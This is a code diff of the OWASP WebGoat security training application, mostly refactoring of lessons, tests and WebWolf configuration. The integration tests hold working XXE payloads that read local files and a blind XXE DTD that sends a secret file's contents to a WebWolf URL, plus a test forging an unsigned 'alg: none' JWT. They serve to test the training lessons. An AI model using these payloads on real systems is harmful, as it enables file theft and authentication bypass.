params.put("question_2_solution", "Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server.");
|
"Solution 4: No because the browser trusts the website if it is acknowledged trusted, then"
|
||||||
params.put("question_3_solution", "Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request.");
|
+ " the browser does not know that the script is malicious.");
|
||||||
params.put("question_4_solution", "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes.");
|
params.put(
|
||||||
|
"question_1_solution",
|
||||||
|
"Solution 3: The data is included in dynamic content that is sent to a web user without"
|
||||||
|
+ " being validated for malicious content.");
|
||||||
|
params.put(
|
||||||
|
"question_2_solution",
|
||||||
|
"Solution 1: The script is permanently stored on the server and the victim gets the"
|
||||||
|
+ " malicious script when requesting information from the server.");
|
||||||
|
params.put(
|
||||||
|
"question_3_solution",
|
||||||
|
"Solution 2: They reflect the injected script off the web server. That occurs when input"
|
||||||
|
+ " sent to the web server is part of the request.");
|
||||||
|
params.put(
|
||||||
|
"question_4_solution",
|
||||||
|
"Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
|
||||||
|
+ " the browser executes.");
|
||||||
checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
|
checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
|
||||||
|
|
||||||
checkResults("/CrossSiteScripting/");
|
checkResults("/CrossSiteScripting/");
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -2,23 +2,30 @@ package org.owasp.webgoat;
|
|||||||
|
|
||||||
import io.restassured.RestAssured;
|
import io.restassured.RestAssured;
|
||||||
import io.restassured.http.ContentType;
|
import io.restassured.http.ContentType;
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Path;
|
import java.nio.file.Path;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
public class XXEIntegrationTest extends IntegrationTest {
|
public class XXEIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
private static final String xxe3 = """
|
private static final String xxe3 =
|
||||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
|
"""
|
||||||
private static final String xxe4 = """
|
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
|
||||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
|
""";
|
||||||
private static final String dtd7 = """
|
private static final String xxe4 =
|
||||||
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;""";
|
"""
|
||||||
private static final String xxe7 = """
|
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
|
||||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>""";
|
""";
|
||||||
|
private static final String dtd7 =
|
||||||
|
"""
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
|
||||||
|
""";
|
||||||
|
private static final String xxe7 =
|
||||||
|
"""
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
|
||||||
|
""";
|
||||||
|
|
||||||
private String webGoatHomeDirectory;
|
private String webGoatHomeDirectory;
|
||||||
private String webWolfFileServerLocation;
|
private String webWolfFileServerLocation;
|
||||||
@ -40,7 +47,11 @@ public class XXEIntegrationTest extends IntegrationTest {
|
|||||||
.statusCode(200);
|
.statusCode(200);
|
||||||
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
|
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
|
||||||
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
|
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
|
||||||
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
|
checkAssignment(
|
||||||
|
url("/WebGoat/xxe/blind"),
|
||||||
|
ContentType.XML,
|
||||||
|
"<comment><text>" + getSecret() + "</text></comment>",
|
||||||
|
false);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -50,15 +61,16 @@ public class XXEIntegrationTest extends IntegrationTest {
|
|||||||
* @throws IOException
|
* @throws IOException
|
||||||
*/
|
*/
|
||||||
private String getSecret() throws IOException {
|
private String getSecret() throws IOException {
|
||||||
//remove any left over DTD
|
// remove any left over DTD
|
||||||
Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
|
Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
|
||||||
if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
|
if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
|
||||||
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
|
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
|
||||||
}
|
}
|
||||||
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
|
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
|
||||||
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
|
String dtd7String =
|
||||||
|
dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
|
||||||
|
|
||||||
//upload DTD
|
// upload DTD
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
@ -66,22 +78,33 @@ public class XXEIntegrationTest extends IntegrationTest {
|
|||||||
.multiPart("file", "blind.dtd", dtd7String.getBytes())
|
.multiPart("file", "blind.dtd", dtd7String.getBytes())
|
||||||
.post(webWolfUrl("/fileupload"))
|
.post(webWolfUrl("/fileupload"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
//upload attack
|
.response()
|
||||||
String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
|
.getBody()
|
||||||
|
.asString();
|
||||||
|
// upload attack
|
||||||
|
String xxe7String =
|
||||||
|
xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
|
||||||
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
|
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
|
||||||
|
|
||||||
//read results from WebWolf
|
// read results from WebWolf
|
||||||
String result = RestAssured.given()
|
String result =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.get(webWolfUrl("/WebWolf/requests"))
|
.get(webWolfUrl("/WebWolf/requests"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
result = result.replace("%20", " ");
|
result = result.replace("%20", " ");
|
||||||
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
|
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
|
||||||
result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
|
result =
|
||||||
|
result.substring(
|
||||||
|
result.lastIndexOf("WebGoat 8.0 rocks... ("),
|
||||||
|
result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
|
||||||
}
|
}
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
@ -93,7 +116,11 @@ public class XXEIntegrationTest extends IntegrationTest {
|
|||||||
webWolfFileServerLocation = getWebWolfFileServerLocation();
|
webWolfFileServerLocation = getWebWolfFileServerLocation();
|
||||||
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
|
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
|
||||||
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
|
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
|
||||||
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
|
checkAssignment(
|
||||||
|
url("/WebGoat/xxe/blind"),
|
||||||
|
ContentType.XML,
|
||||||
|
"<comment><text>" + getSecret() + "</text></comment>",
|
||||||
|
true);
|
||||||
checkResults("xxe/");
|
checkResults("xxe/");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,8 +1,8 @@
|
|||||||
package org.owasp.webgoat.container.users;
|
package org.owasp.webgoat.container.users;
|
||||||
|
|
||||||
import java.util.ArrayList;
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Optional;
|
import java.util.Optional;
|
||||||
|
import java.util.stream.Collectors;
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import org.owasp.webgoat.container.i18n.PluginMessages;
|
import org.owasp.webgoat.container.i18n.PluginMessages;
|
||||||
@ -35,19 +35,15 @@ public class Scoreboard {
|
|||||||
|
|
||||||
@GetMapping("/scoreboard-data")
|
@GetMapping("/scoreboard-data")
|
||||||
public List<Ranking> getRankings() {
|
public List<Ranking> getRankings() {
|
||||||
List<WebGoatUser> allUsers = userRepository.findAll();
|
return userRepository.findAll().stream()
|
||||||
List<Ranking> rankings = new ArrayList<>();
|
.filter(user -> !user.getUsername().startsWith("csrf-"))
|
||||||
for (WebGoatUser user : allUsers) {
|
.map(
|
||||||
if (user.getUsername().startsWith("csrf-")) {
|
user ->
|
||||||
// the csrf- assignment specific users do not need to be in the overview
|
new Ranking(
|
||||||
continue;
|
user.getUsername(),
|
||||||
}
|
challengesSolved(userTrackerRepository.findByUser(user.getUsername()))))
|
||||||
UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
|
.sorted((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size())
|
||||||
rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
|
.collect(Collectors.toList());
|
||||||
}
|
|
||||||
/* sort on number of captured flags to present an ordered ranking */
|
|
||||||
rankings.sort((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size());
|
|
||||||
return rankings;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private List<String> challengesSolved(UserTracker userTracker) {
|
private List<String> challengesSolved(UserTracker userTracker) {
|
||||||
|
@ -22,7 +22,12 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.lessons.jwt;
|
package org.owasp.webgoat.lessons.jwt;
|
||||||
|
|
||||||
import io.jsonwebtoken.*;
|
import io.jsonwebtoken.Claims;
|
||||||
|
import io.jsonwebtoken.JwsHeader;
|
||||||
|
import io.jsonwebtoken.Jwt;
|
||||||
|
import io.jsonwebtoken.JwtException;
|
||||||
|
import io.jsonwebtoken.Jwts;
|
||||||
|
import io.jsonwebtoken.SigningKeyResolverAdapter;
|
||||||
import io.jsonwebtoken.impl.TextCodec;
|
import io.jsonwebtoken.impl.TextCodec;
|
||||||
import java.sql.ResultSet;
|
import java.sql.ResultSet;
|
||||||
import java.sql.SQLException;
|
import java.sql.SQLException;
|
||||||
@ -31,34 +36,12 @@ import org.owasp.webgoat.container.LessonDataSource;
|
|||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.container.assignments.AttackResult;
|
import org.owasp.webgoat.container.assignments.AttackResult;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.PathVariable;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
/**
|
|
||||||
*
|
|
||||||
*
|
|
||||||
* <pre>
|
|
||||||
* {
|
|
||||||
* "typ": "JWT",
|
|
||||||
* "kid": "webgoat_key",
|
|
||||||
* "alg": "HS256"
|
|
||||||
* }
|
|
||||||
* {
|
|
||||||
* "iss": "WebGoat Token Builder",
|
|
||||||
* "iat": 1524210904,
|
|
||||||
* "exp": 1618905304,
|
|
||||||
* "aud": "webgoat.org",
|
|
||||||
* "sub": "jerry@webgoat.com",
|
|
||||||
* "username": "Jerry",
|
|
||||||
* "Email": "jerry@webgoat.com",
|
|
||||||
* "Role": [
|
|
||||||
* "Cat"
|
|
||||||
* ]
|
|
||||||
* }
|
|
||||||
* </pre>
|
|
||||||
*
|
|
||||||
* @author nbaars
|
|
||||||
* @since 4/23/17.
|
|
||||||
*/
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints({
|
@AssignmentHints({
|
||||||
"jwt-final-hint1",
|
"jwt-final-hint1",
|
||||||
|
@ -49,10 +49,6 @@ import org.springframework.web.bind.annotation.RequestHeader;
|
|||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 4/23/17.
|
|
||||||
*/
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints({
|
@AssignmentHints({
|
||||||
"jwt-refresh-hint1",
|
"jwt-refresh-hint1",
|
||||||
@ -85,9 +81,7 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private Map<String, Object> createNewTokens(String user) {
|
private Map<String, Object> createNewTokens(String user) {
|
||||||
Map<String, Object> claims = new HashMap<>();
|
Map<String, Object> claims = Map.of("admin", "false", "user", user);
|
||||||
claims.put("admin", "false");
|
|
||||||
claims.put("user", user);
|
|
||||||
String token =
|
String token =
|
||||||
Jwts.builder()
|
Jwts.builder()
|
||||||
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
|
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
|
||||||
@ -114,6 +108,9 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
|
|||||||
Claims claims = (Claims) jwt.getBody();
|
Claims claims = (Claims) jwt.getBody();
|
||||||
String user = (String) claims.get("user");
|
String user = (String) claims.get("user");
|
||||||
if ("Tom".equals(user)) {
|
if ("Tom".equals(user)) {
|
||||||
|
if ("none".equals(jwt.getHeader().get("alg"))) {
|
||||||
|
return ok(success(this).feedback("jwt-refresh-alg-none").build());
|
||||||
|
}
|
||||||
return ok(success(this).build());
|
return ok(success(this).build());
|
||||||
}
|
}
|
||||||
return ok(failed(this).feedback("jwt-refresh-not-tom").feedbackArgs(user).build());
|
return ok(failed(this).feedback("jwt-refresh-not-tom").feedbackArgs(user).build());
|
||||||
|
@ -42,10 +42,6 @@ import org.springframework.web.bind.annotation.RequestParam;
|
|||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 4/23/17.
|
|
||||||
*/
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
|
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
|
||||||
public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
|
public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
|
||||||
|
@ -58,10 +58,6 @@ import org.springframework.web.bind.annotation.ResponseBody;
|
|||||||
import org.springframework.web.bind.annotation.ResponseStatus;
|
import org.springframework.web.bind.annotation.ResponseStatus;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 4/23/17.
|
|
||||||
*/
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints({
|
@AssignmentHints({
|
||||||
"jwt-change-token-hint1",
|
"jwt-change-token-hint1",
|
||||||
|
@ -57,6 +57,7 @@ import org.springframework.web.servlet.ModelAndView;
|
|||||||
})
|
})
|
||||||
public class ResetLinkAssignment extends AssignmentEndpoint {
|
public class ResetLinkAssignment extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
private static final String VIEW_FORMATTER = "lessons/passwordreset/templates/%s.html";
|
||||||
static final String PASSWORD_TOM_9 =
|
static final String PASSWORD_TOM_9 =
|
||||||
"somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom";
|
"somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom";
|
||||||
static final String TOM_EMAIL = "tom@webgoat-cloud.org";
|
static final String TOM_EMAIL = "tom@webgoat-cloud.org";
|
||||||
@ -65,15 +66,18 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
|
|||||||
static List<String> resetLinks = new ArrayList<>();
|
static List<String> resetLinks = new ArrayList<>();
|
||||||
|
|
||||||
static final String TEMPLATE =
|
static final String TEMPLATE =
|
||||||
"Hi, you requested a password reset link, please use this <a target='_blank'"
|
"""
|
||||||
+ " href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your"
|
Hi, you requested a password reset link, please use this <a target='_blank'
|
||||||
+ " password.\n"
|
href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your
|
||||||
+ " \n\n"
|
password.
|
||||||
+ "If you did not request this password change you can ignore this message.\n"
|
|
||||||
+ "If you have any comments or questions, please do not hesitate to reach us at"
|
If you did not request this password change you can ignore this message.
|
||||||
+ " support@webgoat-cloud.org\n\n"
|
If you have any comments or questions, please do not hesitate to reach us at
|
||||||
+ "Kind regards, \n"
|
support@webgoat-cloud.org
|
||||||
+ "Team WebGoat";
|
|
||||||
|
Kind regards,
|
||||||
|
Team WebGoat
|
||||||
|
""";
|
||||||
|
|
||||||
@PostMapping("/PasswordReset/reset/login")
|
@PostMapping("/PasswordReset/reset/login")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
@ -98,20 +102,14 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
|
|||||||
form.setResetLink(link);
|
form.setResetLink(link);
|
||||||
model.addAttribute("form", form);
|
model.addAttribute("form", form);
|
||||||
modelAndView.addObject("form", form);
|
modelAndView.addObject("form", form);
|
||||||
modelAndView.setViewName("password_reset"); // Display html page for changing password
|
modelAndView.setViewName(
|
||||||
|
VIEW_FORMATTER.formatted("password_reset")); // Display html page for changing password
|
||||||
} else {
|
} else {
|
||||||
modelAndView.setViewName("password_link_not_found");
|
modelAndView.setViewName(VIEW_FORMATTER.formatted("password_link_not_found"));
|
||||||
}
|
}
|
||||||
return modelAndView;
|
return modelAndView;
|
||||||
}
|
}
|
||||||
|
|
||||||
@GetMapping("/PasswordReset/reset/change-password")
|
|
||||||
public ModelAndView illegalCall() {
|
|
||||||
ModelAndView modelAndView = new ModelAndView();
|
|
||||||
modelAndView.setViewName("password_link_not_found");
|
|
||||||
return modelAndView;
|
|
||||||
}
|
|
||||||
|
|
||||||
@PostMapping("/PasswordReset/reset/change-password")
|
@PostMapping("/PasswordReset/reset/change-password")
|
||||||
public ModelAndView changePassword(
|
public ModelAndView changePassword(
|
||||||
@ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) {
|
@ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) {
|
||||||
@ -120,17 +118,17 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
|
|||||||
bindingResult.rejectValue("password", "not.empty");
|
bindingResult.rejectValue("password", "not.empty");
|
||||||
}
|
}
|
||||||
if (bindingResult.hasErrors()) {
|
if (bindingResult.hasErrors()) {
|
||||||
modelAndView.setViewName("password_reset");
|
modelAndView.setViewName(VIEW_FORMATTER.formatted("password_reset"));
|
||||||
return modelAndView;
|
return modelAndView;
|
||||||
}
|
}
|
||||||
if (!resetLinks.contains(form.getResetLink())) {
|
if (!resetLinks.contains(form.getResetLink())) {
|
||||||
modelAndView.setViewName("password_link_not_found");
|
modelAndView.setViewName(VIEW_FORMATTER.formatted("password_link_not_found"));
|
||||||
return modelAndView;
|
return modelAndView;
|
||||||
}
|
}
|
||||||
if (checkIfLinkIsFromTom(form.getResetLink())) {
|
if (checkIfLinkIsFromTom(form.getResetLink())) {
|
||||||
usersToTomPassword.put(getWebSession().getUserName(), form.getPassword());
|
usersToTomPassword.put(getWebSession().getUserName(), form.getPassword());
|
||||||
}
|
}
|
||||||
modelAndView.setViewName("lessons/passwordreset/templates/success.html");
|
modelAndView.setViewName(VIEW_FORMATTER.formatted("success"));
|
||||||
return modelAndView;
|
return modelAndView;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -23,7 +23,7 @@
|
|||||||
package org.owasp.webgoat.lessons.xxe;
|
package org.owasp.webgoat.lessons.xxe;
|
||||||
|
|
||||||
import java.util.Collection;
|
import java.util.Collection;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import lombok.AllArgsConstructor;
|
||||||
import org.springframework.http.MediaType;
|
import org.springframework.http.MediaType;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
@ -36,9 +36,10 @@ import org.springframework.web.bind.annotation.RestController;
|
|||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("xxe/comments")
|
@RequestMapping("xxe/comments")
|
||||||
|
@AllArgsConstructor
|
||||||
public class CommentsEndpoint {
|
public class CommentsEndpoint {
|
||||||
|
|
||||||
@Autowired private CommentsCache comments;
|
private final CommentsCache comments;
|
||||||
|
|
||||||
@GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
|
@GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
|
@ -48,14 +48,15 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
|
|||||||
protected void configure(HttpSecurity http) throws Exception {
|
protected void configure(HttpSecurity http) throws Exception {
|
||||||
ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security =
|
ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security =
|
||||||
http.authorizeRequests()
|
http.authorizeRequests()
|
||||||
.antMatchers("/css/**", "/images/**", "/js/**", "/fonts/**", "/webjars/**", "/home")
|
.antMatchers(HttpMethod.POST, "/fileupload")
|
||||||
.permitAll()
|
|
||||||
.antMatchers(HttpMethod.GET, "/mail/**", "/requests/**")
|
|
||||||
.authenticated()
|
.authenticated()
|
||||||
.antMatchers("/files")
|
.antMatchers(HttpMethod.GET, "/files", "/mail", "/requests")
|
||||||
.authenticated()
|
.authenticated()
|
||||||
|
.and()
|
||||||
|
.authorizeRequests()
|
||||||
.anyRequest()
|
.anyRequest()
|
||||||
.permitAll();
|
.permitAll();
|
||||||
|
|
||||||
security.and().csrf().disable().formLogin().loginPage("/login").failureUrl("/login?error=true");
|
security.and().csrf().disable().formLogin().loginPage("/login").failureUrl("/login?error=true");
|
||||||
security.and().formLogin().loginPage("/login").defaultSuccessUrl("/home", true).permitAll();
|
security.and().formLogin().loginPage("/login").defaultSuccessUrl("/home", true).permitAll();
|
||||||
security.and().logout().permitAll();
|
security.and().logout().permitAll();
|
||||||
|
@ -21,6 +21,7 @@ jwt-refresh-hint2=The token from the access log is no longer valid, can you find
|
|||||||
jwt-refresh-hint3=The endpoint for refreshing a token is 'JWT/refresh/newToken'
|
jwt-refresh-hint3=The endpoint for refreshing a token is 'JWT/refresh/newToken'
|
||||||
jwt-refresh-hint4=Use the found access token in the Authorization: Bearer header and use your own refresh token
|
jwt-refresh-hint4=Use the found access token in the Authorization: Bearer header and use your own refresh token
|
||||||
jwt-refresh-not-tom=User is not Tom but {0}, please try again
|
jwt-refresh-not-tom=User is not Tom but {0}, please try again
|
||||||
|
jwt-refresh-alg-none=Nicely found! You solved the assignment with 'alg: none' can you also solve it by using the refresh token?
|
||||||
|
|
||||||
jwt-final-jerry-account=Yikes, you are removing Jerry's account, try to delete the account of Tom
|
jwt-final-jerry-account=Yikes, you are removing Jerry's account, try to delete the account of Tom
|
||||||
jwt-final-not-tom=Username is not Tom try to pass a token for Tom
|
jwt-final-not-tom=Username is not Tom try to pass a token for Tom
|
||||||
|
@ -19,7 +19,7 @@ $(document).ready(() => {
|
|||||||
|
|
||||||
function call(encode) {
|
function call(encode) {
|
||||||
return () => {
|
return () => {
|
||||||
var url = encode ? '/WebWolf/jwt/encode' : '/WebWolf/jwt/decode';
|
var url = encode ? '/jwt/encode' : '/jwt/decode';
|
||||||
var formData = encode ? $('#encodeForm').getFormData() : $('#decodeForm').getFormData();
|
var formData = encode ? $('#encodeForm').getFormData() : $('#decodeForm').getFormData();
|
||||||
formData["secretKey"] = $('#secretKey').val();
|
formData["secretKey"] = $('#secretKey').val();
|
||||||
|
|
||||||
|
@ -18,7 +18,7 @@ import org.springframework.beans.factory.annotation.Autowired;
|
|||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
import org.springframework.boot.test.mock.mockito.MockBean;
|
import org.springframework.boot.test.mock.mockito.MockBean;
|
||||||
import org.springframework.boot.web.server.LocalServerPort;
|
import org.springframework.boot.test.web.server.LocalServerPort;
|
||||||
import org.springframework.test.context.TestPropertySource;
|
import org.springframework.test.context.TestPropertySource;
|
||||||
import org.springframework.test.web.servlet.MockMvc;
|
import org.springframework.test.web.servlet.MockMvc;
|
||||||
import org.springframework.web.context.WebApplicationContext;
|
import org.springframework.web.context.WebApplicationContext;
|
||||||
|
@ -29,6 +29,7 @@ import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.
|
|||||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||||
|
|
||||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||||
|
import io.jsonwebtoken.Jwts;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import org.hamcrest.CoreMatchers;
|
import org.hamcrest.CoreMatchers;
|
||||||
@ -43,14 +44,14 @@ import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
|||||||
public class JWTRefreshEndpointTest extends LessonTest {
|
public class JWTRefreshEndpointTest extends LessonTest {
|
||||||
|
|
||||||
@BeforeEach
|
@BeforeEach
|
||||||
public void setup() {
|
void setup() {
|
||||||
when(webSession.getCurrentLesson()).thenReturn(new JWT());
|
when(webSession.getCurrentLesson()).thenReturn(new JWT());
|
||||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||||
when(webSession.getUserName()).thenReturn("unit-test");
|
when(webSession.getUserName()).thenReturn("unit-test");
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void solveAssignment() throws Exception {
|
void solveAssignment() throws Exception {
|
||||||
ObjectMapper objectMapper = new ObjectMapper();
|
ObjectMapper objectMapper = new ObjectMapper();
|
||||||
|
|
||||||
// First login to obtain tokens for Jerry
|
// First login to obtain tokens for Jerry
|
||||||
@ -96,7 +97,26 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void checkoutWithTomsTokenFromAccessLogShouldFail() throws Exception {
|
void solutionWithAlgNone() throws Exception {
|
||||||
|
String tokenWithNoneAlgorithm =
|
||||||
|
Jwts.builder()
|
||||||
|
.setHeaderParam("alg", "none")
|
||||||
|
